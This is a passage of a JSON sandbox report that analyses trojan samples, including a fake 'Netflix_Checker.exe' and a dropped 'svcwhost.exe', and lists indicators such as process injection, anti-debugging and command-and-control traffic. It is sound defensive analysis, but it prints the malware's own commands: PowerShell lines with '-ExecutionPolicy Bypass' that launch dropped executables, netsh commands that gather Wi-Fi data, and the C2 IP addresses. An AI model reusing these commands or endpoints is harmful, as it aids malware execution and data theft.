and name: \"Compiler\"\n \"Netflix_Checker.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"svcwhost.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"svcwhost.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"svcwhost.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"Service_Macromedia.exe.bin\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"Service_Macromedia.exe.bin\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"Service_Macromedia.exe.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$45","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"ee5db. Trojan.exe\")","id":"string-659","level":"informative","mitre_attack_id":"T1497.001","name":"Able to identify virtual environment by using API string","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"sample.bin\"), Found reference to API \"Wow64GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"sample.bin\"), Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"sample.bin\"), Found reference to API \"Wow64SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"sample.bin\"), Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; Source: \"sample.bin\"), Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"sample.bin\")","id":"string-309","level":"informative","mitre_attack_id":"T1055.003","name":"Able to modify thread functionality – possible hijack (API string)","origin":"sample.bin","sources":[{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$46","id":"api-11","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information","origin":"API Call","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"svcwhost.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\TH7A53.tmp\" for deletion","id":"api-26","level":"suspicious","mitre_attack_id":"T1070.004","name":"Marks file for deletion","origin":"API Call","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"Found string \"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\gbztuy.exe\"' & exit\" (Indicator: \"Start-Process\"; File: \"cmd.exe\")\n Found string \"powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\gbztuy.exe\"'\" (Indicator: \"Start-Process\"; File: \"powershell.exe\")\n Found string \"/c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\cgyskb.exe\"' & exit\" (Indicator: \"Start-Process\"; File: \"cmd.exe\")\n Found string \"powershell –ExecutionPolicy Bypass Start-Process -FilePath '\"%TEMP%\\cgyskb.exe\"'\" (Indicator: \"Start-Process\"; File: \"powershell.exe\")","id":"string-250","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to start a process (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Observed function \"FromBase64String\" in \"Netflix_Checker.exe\"","id":"static-106","level":"informative","mitre_attack_id":"T1140","name":"Able to decode string content at runtime (.NET)","origin":"Static Parser","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Sleep@KERNEL32.DLL at 00000000-00005736-49315-363-00941A4D","id":"stream-103","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to delay the execution of current thread","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"12/24 Antivirus vendors marked dropped file \"svcwhost.exe\" as malicious (classified as \"Trojan.Win64.Agent\" with 50% detection rate)","id":"binary-11","level":"malicious","mitre_attack_id":"T1204.002","name":"The analysis extracted a file that was identified as malicious","origin":"Binary File","relevance":10,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"ee5db. Trojan.exe\")","id":"string-167","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 176.111.174.140 on port 80 is sent without HTTP header\n TCP traffic to 104.16.184.241 on port 80 is sent without HTTP header\n TCP traffic to 172.67.196.114 on port 443 is sent without HTTP header\n TCP traffic to 149.154.167.220 on port 443 is sent without HTTP header\n TCP traffic to 172.67.19.24 on port 443 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"\"Netflix_Checker.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.dll\" - [base:0; Status:c0000135]\n \"Netflix_Checker.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\ole32.dll\" - [base:0; Status:c0000135]\n \"Netflix_Checker.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll\" - [base:0; Status:c0000135]\n \"Netflix_Checker.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\VERSION.dll\" - [base:0; Status:c0000135]\n \"Netflix_Checker.exe\" failed to load missing module \"%WINDIR%\\Microsoft.Net\\assembly\\GAC_32\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\bcrypt.dll\" - [base:0; Status:c0000135]\n \"Netflix_Checker.exe\" failed to load missing module \"%WINDIR%\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\uxtheme.dll\" - [base:0; Status:c0000135]","id":"api-22","level":"informative","mitre_attack_id":"T1574.002","name":"Fails to load modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"Netflix_Checker.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 721E0000","id":"module-7","level":"informative","mitre_attack_id":"T1620","name":"Loads the CLR Loader DLL","origin":"Loaded Module","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 48249-6638-00405453\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005736-49315-49-00945565\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005736-49315-94-009495FE\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005736-49315-541-009452C6\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005736-49315-998-00945453","id":"stream-4","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetModuleHandleExW@KERNEL32.DLL at 00000000-00005736-49315-77-0094C56B\n GetModuleHandleW@KERNEL32.DLL at 00000000-00005736-49315-93-00945411","id":"stream-121","level":"suspicious","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"NtCreateThreadEx\" (Indicator: \"CreateThread\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtMapViewOfSection\" (Indicator: \"NtMapViewOfSection\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAlloc\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"WriteProcessMemory\" (Indicator: \"WriteProcessMemory\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"ee5db. Trojan.exe\")","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Contains ability to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Environment Awareness","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005736-49315-156-009451C0","id":"stream-2","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to query machine time","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae.exe\" writes to a file \"%APPDATA%\\svcwhost.exe\"","id":"api-322","level":"informative","mitre_attack_id":"T1083","name":"Creates file in AppData directory","origin":"API Call","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Observed Namespace \"System.Windows.Forms.Control\" and MemberReference \"Hide\" in \"Netflix_Checker.exe\"","id":"static-161","level":"informative","mitre_attack_id":"T1564.003","name":"Able to execute applications in hidden mode (.NET)","origin":"Static Parser","relevance":7,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","id":"static-146","level":"informative","name":"PE file contains Debug data directory","origin":"Static Parser","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"svcwhost.exe\" has high imagebase \"0x140000000\"\n \"Service_Macromedia.exe.bin\" has high imagebase \"0x140000000\"","id":"static-93","level":"informative","name":"PE file has a high image base","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found the following user-agents: NIKMOK\n Diamotrix","id":"network-56","level":"malicious","mitre_attack_id":"T1071.001","name":"Found unknown user-agent(s)","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; File: \"ee5db. Trojan.exe\")","id":"string-539","level":"informative","mitre_attack_id":"T1071.001","name":"Contains reference to Windows internet services (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ee5db. Trojan.exe\")","id":"string-148","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"HttpQueryInfoA\" (Indicator: \"HttpQueryInfo\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"InternetOpenUrlW\" (Indicator: \"InternetOpen\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"ee5db. Trojan.exe\")","id":"string-601","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to communicate with network (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetLocaleInfoW@KERNEL32.dll at 48249-4374-00416F42\n GetLocaleInfoW@KERNEL32.dll at 48249-4375-004173C2\n GetLocaleInfoW@KERNEL32.dll at 48249-4376-00417195\n GetUserDefaultLCID@KERNEL32.DLL at 00000000-00005736-49315-246-0094F671\n EnumSystemLocalesW@KERNEL32.DLL at 00000000-00005736-49315-253-0094F182\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00005736-49315-266-0094F632\n GetUserDefaultLCID@KERNEL32.DLL at 00000000-00005736-49315-304-00957498\n EnumSystemLocalesW@KERNEL32.DLL at 00000000-00005736-49315-305-00956DCF\n EnumSystemLocalesW@KERNEL32.DLL at 00000000-00005736-49315-306-00956EB5\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00005736-49315-308-009572BC\n EnumSystemLocalesW@KERNEL32.DLL at 00000000-00005736-49315-309-00956E1A\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00005736-49315-781-00956D2A\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00005736-49315-784-00956F42\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00005736-49315-785-009573C2\n GetLocaleInfoW@KERNEL32.DLL at 00000000-00005736-49315-786-00957195","id":"stream-49","level":"informative","mitre_attack_id":"T1614","name":"Contains ability to query the system locale","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00005736-49315-614-00948F62","id":"stream-108","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to dynamically load libraries","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$47","id":"string-138","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to use Cryptographic classes","origin":"File/Memory","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"$48","id":"network-66","level":"informative","mitre_attack_id":"T1071.001","name":"Sends GET/POST requests (HTTPS)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"\"icanhazip.com\" (Indicator: \"icanhazip.com\"; File: \"PCAP\")\n \"GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive\" (Indicator: \"icanhazip.com\"; File: \"PCAP\")\n \"api.mylnikov.org\" (Indicator: \"api.mylnikov.org\"; File: \"PCAP\")","id":"string-56","level":"malicious","mitre_attack_id":"T1016","name":"Found a reference to an external IP address lookup service","origin":"File/Memory","relevance":6,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"ee5db. Trojan.exe\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 176.111.174.140 on port 7707\n TCP traffic to 176.111.174.140 on port 8808","id":"network-7","level":"malicious","mitre_attack_id":"T1571","name":"Uses network protocols on unusual ports","origin":"Network Traffic","relevance":7,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"svcwhost.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","id":"registry-174","level":"informative","mitre_attack_id":"T1652","name":"Tries to retrieve device driver information","origin":"Registry Access","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"Netflix_Checker.exe\" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n \"svcwhost.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n \"Service_Macromedia.exe.bin\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","id":"static-154","level":"informative","name":"File contains dynamic base/NX flags","origin":"Static Parser","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db. Trojan.exe\" has an writable section named \".data\"\n \"svcwhost.exe\" has an writable section named \".data\"\n \"Service_Macromedia.exe.bin\" has an writable section named \".data\"","id":"static-95","level":"informative","name":"PE file contains writable sections","origin":"Static Parser","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtWriteFile\" (Indicator: \"NtWriteFile\"; File: \"ee5db. Trojan.exe\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"www.malwarebytes.com\" (Indicator: \"malwarebytes\") in Source: ee5db. Trojan.exe\n \"en.malwarebytes.com\" (Indicator: \"malwarebytes\") in Source: ee5db. Trojan.exe\n \"fr.malwarebytes.com\" (Indicator: \"malwarebytes\") in Source: ee5db. Trojan.exe\n \"es.malwarebytes.com\" (Indicator: \"malwarebytes\") in Source: ee5db. Trojan.exe\n \"www.bitdefender.com\" (Indicator: \"bitdefender\") in Source: ee5db. Trojan.exe","id":"string-8","level":"informative","mitre_attack_id":"T1518.001","name":"Possibly checks for the presence of an Antivirus engine","origin":"File/Memory","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"Netflix_Checker.exe queries ProcessDebugPort (UID: 6016)","id":"api-238","level":"suspicious","mitre_attack_id":"T1622","name":"Tries to detect debugger using ProcessDebugPort","origin":"API Call","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"ee5db. Trojan.exe\")","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"}]},{"category":"Cryptographic Related","description":"Observed function \"FromBase64String\" in \"Netflix_Checker.exe\"","id":"static-106","level":"informative","mitre_attack_id":"T1140","name":"Contains ability to decode string content at runtime (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"/C chcp 65001 && netsh wlan show profile | findstr All\" (Indicator: \"chcp\"; File: \"cmd.exe\")\n Found string \"chcp 65001\" (Indicator: \"chcp\"; File: \"chcp.com\")\n Found string \"/C chcp 65001 && netsh wlan show networks mode=bssid\" (Indicator: \"chcp\"; File: \"cmd.exe\")","id":"string-126","level":"suspicious","mitre_attack_id":"T1082","name":"Found system commands related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"HTTPS traffic to \"172.67.196.114\" on port \"443\"\n HTTPS traffic to \"149.154.167.220\" on port \"443\"\n HTTPS traffic to \"172.67.19.24\" on port \"443\"","id":"network-38","level":"informative","mitre_attack_id":"T1573","name":"Uses HTTPS for communication","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"Netflix_Checker.exe\" claimed CRC 0 while the actual is CRC 1046929","id":"static-0","level":"suspicious","mitre_attack_id":"T1027","name":"CRC value set in PE header does not match actual value","origin":"Static Parser","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"Netflix_Checker.exe\" touched \"NDP SymBinder\" (Path: \"HKCU\\WOW6432NODE\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\INPROCSERVER32\")","id":"registry-72","level":"informative","mitre_attack_id":"T1546.015","name":"Overview of unique CLSIDs touched in registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Observed namespace \"System.IO.MemoryStream\" and TypeReference \".ctor\" in \"Netflix_Checker.exe\"","id":"static-107","level":"informative","mitre_attack_id":"T1140","name":"Contains ability to load content into memory (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"System Security","description":"Found string \"\\drivers\\etc\\hosts\" (Indicator: \"\\drivers\\\"; File: \"ee5db. Trojan.exe\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006396.00000000.123897.026A0000.00000004.mdmp\")","id":"string-474","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to access device drivers","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"ee5db. Trojan.exe\")","id":"string-316","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to terminate a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$49","id":"certificate-0","level":"informative","mitre_attack_id":"T1553.002","name":"The input sample is signed with a certificate","origin":"Certificate Data","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"General","description":"Found string \"GetCommandLineA\" (Source: \"00000000-00005736.00000000.82398.0095B000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00005736.00000000.82398.0095B000.00000002.mdmp\")","id":"string-930","level":"informative","mitre_attack_id":"T1059.003","name":"Able to retrieve command line parameters of the running process","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"ee5db. Trojan.exe\")","id":"string-534","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to read files (API string)","origin":"File/Memory","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$4a","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005736-49315-156-009451C0","id":"stream-71","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to query local/system time as file time","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4b","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Process \"netsh.exe\" with commandline \"netsh wlan show profile\" (UID: 00000000-00004256)\n Process \"netsh.exe\" with commandline \"netsh wlan show networks mode=bssid\" (UID: 00000000-00003792)","id":"target-186","level":"informative","mitre_attack_id":"T1562.004","name":"Detects NETSH process execution","origin":"Monitored Target","relevance":2,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS url \"https://176.111.174.140\"","id":"string-98","level":"informative","mitre_attack_id":"T1573","name":"Possibly tries to communicate over SSL connection (HTTPS)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"1300140054f4e776@RPCRT4.dll\"\n 